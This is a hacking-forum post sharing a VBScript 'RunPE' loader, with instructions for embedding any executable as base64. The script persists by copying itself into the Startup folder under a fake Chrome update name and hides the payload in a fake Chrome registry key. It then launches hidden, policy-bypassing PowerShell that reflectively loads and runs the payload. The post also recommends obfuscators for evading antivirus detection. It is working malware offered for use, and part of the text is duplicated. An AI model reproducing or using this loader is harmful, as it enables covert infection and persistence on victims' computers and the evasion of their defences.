Jun 11, 2021 07:32 AM
(This post was last modified: Oct 9, 2021 08:59 PM by Melted.)
Simple VBS RunPE - By Melted
Inspired by VBS-Shell from NyanxCat
Note: This is NOT fud runtime, but it can be fud scantime with some obfuscation
Usage:
- Copy the code below, and paste it into a new .vbs file
- Convert your executable to Base64 using this website
- Replace the 'BASE64 HERE' with your Base64 code (make sure you put it inside the quotes)
- (Optional) Edit "WScript.Sleep(1000)" with the amount of milliseconds you want it to sleep before executing
Script:
VBS Obfuscation:
Check out this github for free vbs obfuscators
I suggest the base64 obfuscator, can get almost FUD results scantime
Inspired by VBS-Shell from NyanxCat
Note: This is NOT fud runtime, but it can be fud scantime with some obfuscation
Usage:
- Copy the code below, and paste it into a new .vbs file
- Convert your executable to Base64 using this website
- Replace the 'BASE64 HERE' with your Base64 code (make sure you put it inside the quotes)
- (Optional) Edit "WScript.Sleep(1000)" with the amount of milliseconds you want it to sleep before executing
Script:
Code
On Error Resume Next
For x = 0 To 6
WScript.Sleep(1000)
Next
Base64 = "BASE64 HERE"
Set obj = CreateObject("Wscript.Shell")
Set fso=CreateObject("Scripting.FileSystemObject")
startPath = obj.SpecialFolders("Startup") & "\ChromeUpdateHandler.vbs"
currentPath = fso.GetAbsolutePathName(wscript.scriptfullname)
RegK = "HKCU\SOFTWARE\Chrome\Updates"
if obj.RegRead(RegK) <> Base64 then
obj.RegWrite RegK, Base64
end if
Load = "powershell -noexit -exec bypass -window 1 -Command Copy-Item '" & currentPath & "' '" & startPath & "'; $x = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); [<##>AppDomain<##>]::<##>('^urrentDomain'.replace('^','C'))<##>.<##>('DUFoad'.replace('DUF','L'))([Convert]::FromBase64String($x))<##>.<##>('@ntryPoint'.replace('@','E'))<##>.<##>('In0oke'.replace('0','v'))($Null,$Null)<##>;"
obj.Run Load, 0, FalseVBS Obfuscation:
Check out this github for free vbs obfuscators
I suggest the base64 obfuscator, can get almost FUD results scantime


